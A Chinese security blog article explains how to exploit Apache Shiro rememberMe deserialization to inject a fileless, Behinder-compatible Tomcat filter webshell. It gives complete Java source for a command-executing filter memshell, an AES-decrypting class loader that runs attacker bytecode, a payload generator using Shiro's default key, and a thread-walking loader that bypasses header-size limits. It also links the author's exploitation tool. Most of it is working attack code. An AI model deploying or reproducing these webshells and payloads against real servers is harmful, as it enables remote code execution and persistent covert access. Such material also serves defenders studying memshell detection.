利用shiro反序列化注入冰蠍記憶體馬
利用shiro反序列化注入冰蠍記憶體馬
文章首發先知社群:https://xz.aliyun.com/t/10696
一、shiro反序列化注入記憶體馬
1)tomcat filter記憶體馬
先來看一個普通的jsp寫入tomcat filter記憶體馬的程式碼:
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "evil"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("Do Filter ......"); String cmd; if ((cmd = servletRequest.getParameter("cmd")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest,servletResponse); System.out.println("doFilter"); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); /** * 將filterDef新增到filterDefs中 */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); } %>
對以上的tomcat filter型記憶體馬進行邏輯拆分,有四個主要部分,依次為:
- 拿到tomcat的
StandardContext
標準上下文物件
- 利用
standardContext
標準上下文物件,反射拿到filterConfigs
- 惡意filter過濾器的邏輯程式碼
- 把惡意filter經過一層層封裝,存入
filterConfigs
中的邏輯
通過訪問以上的jsp程式碼,從而觸發這四個主要邏輯就能動態注入一個name為evil,過濾路徑URLPattern為/*
的filter物件了,接下來只要訪問/*
就能觸發doFilter
中的惡意程式碼。
2)利用shiro反序列化注入記憶體馬
把以上提到的filter記憶體馬邏輯寫入惡意類的static方法中,再利用TemplatesImpl
來動態載入位元組碼觸發其邏輯,從而注入惡意filter
構造BehinderFilter.java
BehinderFilter因為其被TemplatesImpl
類來載入,所以需要繼承AbstractTranslet
類
在建構函式中放入tomcat filter記憶體馬的程式碼後,會缺少一個request
物件,在這裡request
只是用來拿standardContext
的,而我們可以通過其他方式拿到standardContext
在文章:Java記憶體馬:一種Tomcat全版本獲取StandardContext的新方法
StandardContext
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
再看下圖41行與78行的邏輯,例項化了一個內部類後set進filterDef中
其實在這裡可以直接把整個惡意類BehinderFilter
當作一個filter,使其實現Filter介面
public class BehinderFilter extends AbstractTranslet implements Filter
再把Filter邏輯寫入此類的doFilter方法中,最終得到如下程式碼
package com.govuln.shiroattack.memshell;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
public class BehinderFilter extends AbstractTranslet implements Filter {
static {
try {
final String name = "evil";
final String URLPattern = "/*";
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
BehinderFilter behinderFilter = new BehinderFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(behinderFilter);
filterDef.setFilterName(name);
filterDef.setFilterClass(behinderFilter.getClass().getName());
/**
* 將filterDef新增到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(URLPattern);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
} catch (NoSuchFieldException ex) {
ex.printStackTrace();
} catch (InvocationTargetException ex) {
ex.printStackTrace();
} catch (IllegalAccessException ex) {
ex.printStackTrace();
} catch (NoSuchMethodException ex) {
ex.printStackTrace();
} catch (InstantiationException ex) {
ex.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Do Filter ......");
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
}
shiro反序列化注入記憶體馬
這裡採用P牛給出專門針對shiro無CC依賴的CB1鏈來進行注入記憶體馬,專案程式碼地址:https://github.com/phith0n/JavaThings
需要在P神給出的專案環境中新增tomcat核心包解決構造的惡意類報錯:
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.50</version>
</dependency>
新建一個類,使用javassist讀取一個類檔案的class,再利用shiro自帶的類,對其進行base64+aes加密
public class Client_memshell {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.govuln.shiroattack.memshell.BehinderFilter.class.getName());
byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
把生成的字元放入rememberMe中即可成功注入記憶體馬
測試彈出計算器
二、注入冰蠍記憶體馬
在上面實現了shiro注入記憶體馬後,想著是否能注入冰蠍呢。首先要了解下冰蠍jsp馬的邏輯
1)冰蠍邏輯
檢視Behinder_v3.0_Beta_9中的shell.jsp程式碼
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*該金鑰為連線密碼32位md5值的前16位,預設連線密碼rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
new U(this.getClass().getClassLoader()).g(
c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())))
.newInstance().equals(pageContext);
}
%>
- 冰蠍自定義了一個可以解析class位元組陣列的類載入器U,邏輯為,使用g方法呼叫
super.defineClass
,可以將byte[]直接轉換為Class物件
-
判斷為post請求後,讀取請求體中的資料,拿到進行Base64+AES解碼後的位元組碼資料。
-
呼叫自定義類載入器U拿到class後,進行
newInstance
例項化,呼叫其惡意物件的equals
方法,並且傳入pageContext
2)改造冰蠍馬
嘗試在BehinderFilter.java的filter中,放入冰蠍的核心邏輯程式碼
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*該金鑰為連線密碼32位md5值的前16位,預設連線密碼rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
接下來就是怎麼解決程式碼中出現的幾個紅色的問題
request和session物件
request物件可以通過其doFilter方法引數中傳遞的ServletRequest獲得,而session可以通過request.getSession()獲得
// 獲取request和response物件
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();
pageContext物件
pageContext物件為jsp九大內建物件,在冰蠍作者rebeyond的文章利用動態二進位制加密實現新型一句話木馬之Java篇中知道,在冰蠍的程式碼中,服務端需要從pageContext物件中獲取出request/response/session。
而在冰蠍3.0 bata7之後不再依賴pageContext物件,只需給在equal函式中傳遞的object物件中,有request/response/session物件即可,所以此時我們可以把pageContext物件換成一個Map,手動新增這三個物件即可
//create pageContext
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
然後當我們把製作好的BehinderFilter.java,注入CB1鏈,通過rememberMe傳送給shiro後,就會發現冰蠍並連線不上。此錯誤在文章冰蠍改造之不改動客戶端=>記憶體馬中給出了思路,需要自己通過反射呼叫類載入器。直接給出程式碼
//revision BehinderFilter
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
最終的BehinderFilter.java程式碼變成如下
package com.govuln.shiroattack.memshell;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
import java.lang.reflect.Method;
import java.util.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
public class BehinderFilter extends AbstractTranslet implements Filter {
static {
try {
final String name = "evil";
final String URLPattern = "/*";
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
BehinderFilter behinderFilter = new BehinderFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(behinderFilter);
filterDef.setFilterName(name);
filterDef.setFilterClass(behinderFilter.getClass().getName());
/**
* 將filterDef新增到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(URLPattern);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
} catch (NoSuchFieldException ex) {
ex.printStackTrace();
} catch (InvocationTargetException ex) {
ex.printStackTrace();
} catch (IllegalAccessException ex) {
ex.printStackTrace();
} catch (NoSuchMethodException ex) {
ex.printStackTrace();
} catch (InstantiationException ex) {
ex.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
try {
System.out.println("Do Filter ......");
// 獲取request和response物件
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();
//create pageContext
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*該金鑰為連線密碼32位md5值的前16位,預設連線密碼rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
//revision BehinderFilter
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
}catch (Exception e){
e.printStackTrace();
}
filterChain.doFilter(servletRequest, servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
}
首先在shiro+tomcat環境下測試成功
然而在springboot+shiro環境中卻測試失敗了:
3)排錯
為了查出這個錯誤,我選擇直接把記憶體馬放入springboot中,自己進行filter註冊,debug出其出錯點。具體操作如下
啟動springboot後可以看到BehinderFilter.java:41行找不到filterConfigs報錯
為了進一步查看出錯點,在此下好斷點步入getDeclaredField
可以看到在2068行進行了filterConfigs的查詢
而在此Fileld中確實沒有filterConfigs
回到filter程式碼中,其實,在39行可以看到進行了一次轉型,而有可能在springboot中的standardContext
此filterConfigs值是繼承自父類
修改41行中的程式碼為如下,從父類中拿filterConfigs
Field Configs = standardContext.getClass().getSuperclass().getDeclaredField("filterConfigs");
執行後不報錯成功通過邏輯
接下來就是對記憶體馬進行修改了,兩個環境,拿filterConfigs的邏輯程式碼卻不同,分別是standardContext本身和其父類。如果要相容這兩個環境的話,可以使用try-catch分別寫入兩行不同的程式碼拿到不同得class物件
Class<? extends StandardContext> aClass = null;
try{
aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
aClass.getDeclaredField("filterConfigs");
}catch (Exception e){
aClass = (Class<? extends StandardContext>) standardContext.getClass();
aClass.getDeclaredField("filterConfigs");
}
最終修改如下圖
最終記憶體馬變為:
package com.govuln.shiroattack.memshell;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
import java.lang.reflect.Method;
import java.util.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
public class BehinderFilter extends AbstractTranslet implements Filter {
static {
try {
final String name = "evil";
final String URLPattern = "/*";
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Class<? extends StandardContext> aClass = null;
try{
aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
aClass.getDeclaredField("filterConfigs");
}catch (Exception e){
aClass = (Class<? extends StandardContext>) standardContext.getClass();
aClass.getDeclaredField("filterConfigs");
}
Field Configs = aClass.getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
BehinderFilter behinderFilter = new BehinderFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(behinderFilter);
filterDef.setFilterName(name);
filterDef.setFilterClass(behinderFilter.getClass().getName());
/**
* 將filterDef新增到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(URLPattern);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
} catch (NoSuchFieldException ex) {
ex.printStackTrace();
} catch (InvocationTargetException ex) {
ex.printStackTrace();
} catch (IllegalAccessException ex) {
ex.printStackTrace();
} catch (NoSuchMethodException ex) {
ex.printStackTrace();
} catch (InstantiationException ex) {
ex.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
try {
System.out.println("Do Filter ......");
// 獲取request和response物件
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();
//create pageContext
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*該金鑰為連線密碼32位md5值的前16位,預設連線密碼rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
//revision BehinderFilter
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
}catch (Exception e){
e.printStackTrace();
}
filterChain.doFilter(servletRequest, servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
}
測試springboot+shiro環境成功
shiro+tomcat環境成功:
三、繞過maxHttpHeaderSize
為了方便測試,在以上的環境測試中,我進行了maxHttpHeaderSize引數的修改。
如果我們換成預設值的話,其實會爆出一個400的錯誤,如下
原因在於tomcat的maxHttpHeaderSize預設值只有 4096 個位元組(4k),加密編碼後的位元組碼資料遠大於這個4096個位元組,所以會爆出400的錯誤。目前找到三種解決方案並給出對應的文章連結
1)修改maxHttpHeaderSize
2)將class bytes使用gzip+base64壓縮編碼
tomcat結合shiro無檔案webshell的技術研究以及檢測方法
3)從POST請求體中傳送位元組碼資料
這裡我推薦使用第三種方案,就是在post請求體中傳送加密編碼後的BehinderFilter.java
1)從POST請求體中傳送位元組碼資料
根據師傅的方案,不借助於反序列化惡意filter來注入,而是反序列化一個MyClassLoader,其邏輯為
靜態程式碼塊中獲取了Spring Boot上下文裡的request,response和session,然後獲取classData引數並通過反射呼叫defineClass動態載入此類,例項化後呼叫其中的equals方法傳入request,response和session三個物件
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class MyClassLoader extends AbstractTranslet {
static{
try{
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
r.setAccessible(true);
org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
javax.servlet.http.HttpSession session = request.getSession();
String classData=request.getParameter("classData");
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
cc.newInstance().equals(new Object[]{request,response,session});
}catch(Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
}
@Override
public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
}
}
通過shiro的AES+Base64加密MyClassLoader.java拿到加密後的資料
再使用如下命令得到class檔案BehinderFilter.class的base64
cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'
rememberMe中放入通過shiro的AES+Base64加密MyClassLoader.java拿到加密後的資料,classData傳輸BehinderFilter.class的base64,要記得進行一次url編碼
springboot+shiro環境下測試成功:
而在shiro+tomcat環境下則會測試失敗,原因在於MyClassLoader.java程式碼中,獲取request物件是從Spring Boot上下文中獲取,而tomcat+shiro環境中並沒有spring boot上下文,導致request物件獲取失敗
2)尋找request物件
怎麼在tomcat中尋找到request物件呢,通過xray 技術部落格中的Shiro RememberMe 漏洞檢測的探索之路這篇文章給了我們思路,通過遍歷執行緒Thread.currentThread()中的物件來查詢到其中藏著的request物件。其中可以使用c0y1 師傅寫的 java-object-searcher ,一款記憶體物件搜尋工具來輔助我們尋找。
下載java-object-searcher,把所有檔案複製進tomcat的web專案中
編寫一個servlet,在其doGet方法中寫入對應的查詢邏輯
helloController.java
import josearcher.entity.Keyword;
import josearcher.searcher.SearchRequstByBFS;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;
public class helloController extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
PrintWriter writer = resp.getWriter();
writer.println("hello servlet!");
//設定搜尋型別包含ServletRequest,RequstGroup,Request...等關鍵字的物件
//設定搜尋型別包含ServletRequest,RequstGroup,Request...等關鍵字的物件
List<Keyword> keys = new ArrayList<>();
Keyword.Builder builder = new Keyword.Builder();
builder.setField_type("nnn");
keys.add(new Keyword.Builder().setField_type("ServletRequest").build());
keys.add(new Keyword.Builder().setField_type("RequstGroup").build());
keys.add(new Keyword.Builder().setField_type("RequestInfo").build());
keys.add(new Keyword.Builder().setField_type("RequestGroupInfo").build());
keys.add(new Keyword.Builder().setField_type("Request").build());
//新建一個廣度優先搜尋Thread.currentThread()的搜尋器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
//開啟除錯模式
searcher.setIs_debug(true);
//挖掘深度為20
searcher.setMax_search_depth(20);
//設定報告儲存位置
searcher.setReport_save_path("D:\\");
searcher.searchObject();
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}
當然在web.xml也要配好對映
<!--註冊servlet-->
<servlet>
<servlet-name>hello</servlet-name>
<servlet-class>controller.helloController</servlet-class>
</servlet>
<!--Servlet對映的請求路徑-->
<servlet-mapping>
<servlet-name>hello</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
執行後訪問url地址,即可觸發查詢,查詢結果檔案儲存在D盤根目錄下
開啟查詢結果檔案,發現其中的一個結果中有RequestInfo
debug模式下檢視這個物件,確實存在request物件
但其實會發現,拿到的這個Request物件型別為org.apache.coyote.Request
,並不能直接獲取到請求體裡面的資料。需要通過其notes
物件拿到另一個型別為org.apache.catalina.connector.Request
的Request物件,通過此物件就能呼叫getParameter
方法獲取到請求體裡面的資料了,具體除錯過程太長,這裡就不詳述了。
根據以上的尋找,可以寫出修改後的MyClassLoader.java物件,為了區分之前的類,我重新命名為了ClassDataLoader.java,以下是此類的程式碼
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class ClassDataLoader extends AbstractTranslet{
public ClassDataLoader() throws Exception {
Object o;
String s;
String classData = null;
boolean done = false;
Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
for (int i = 0; i < ts.length; i++) {
Thread t = ts[i];
if (t == null) {
continue;
}
s = t.getName();
if (!s.contains("exec") && s.contains("http")) {
o = getFV(t, "target");
if (!(o instanceof Runnable)) {
continue;
}
try {
o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}
java.util.List ps = (java.util.List) getFV(o, "processors");
for (int j = 0; j < ps.size(); j++) {
Object p = ps.get(j);
o = getFV(p, "req");
Object conreq = o.getClass().getMethod("getNote", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});
classData = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("classData")});
byte[] bytecodes = org.apache.shiro.codec.Base64.decode(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
cc.newInstance();
done = true;
if (done) {
break;
}
}
}
}
}
public Object getFV(Object o, String s) throws Exception {
java.lang.reflect.Field f = null;
Class clazz = o.getClass();
while (clazz != Object.class) {
try {
f = clazz.getDeclaredField(s);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (f == null) {
throw new NoSuchFieldException(s);
}
f.setAccessible(true);
return f.get(o);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
最後測試就是生成用shiro中AES+base64加密後的ClassDataLoader.java,放入rememberMe中
再生成BehinderFilter.class的base64放入classData引數中
cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'
傳送後使用冰蠍即可連線成功
四、最後
感謝P神,木頭神的實驗環境,幫了我很大的忙,本文中的涉及的實驗環境和程式碼我都放在了github中,需要可以自行下載
https://github.com/yyhuni/shiroMemshell
在此篇文章原理的基礎上,我隨便寫了一款shiro的綜合利用工具
https://github.com/yyhuni/shiroATK
參考:
https://www.cnblogs.com/bitterz/p/14820898.html
tomcat結合shiro無檔案webshell的技術研究以及檢測方法
https://github.com/c0ny1/java-object-searcher
https://blog.xray.cool/post/how-to-find-shiro-rememberme-deserialization-vulnerability/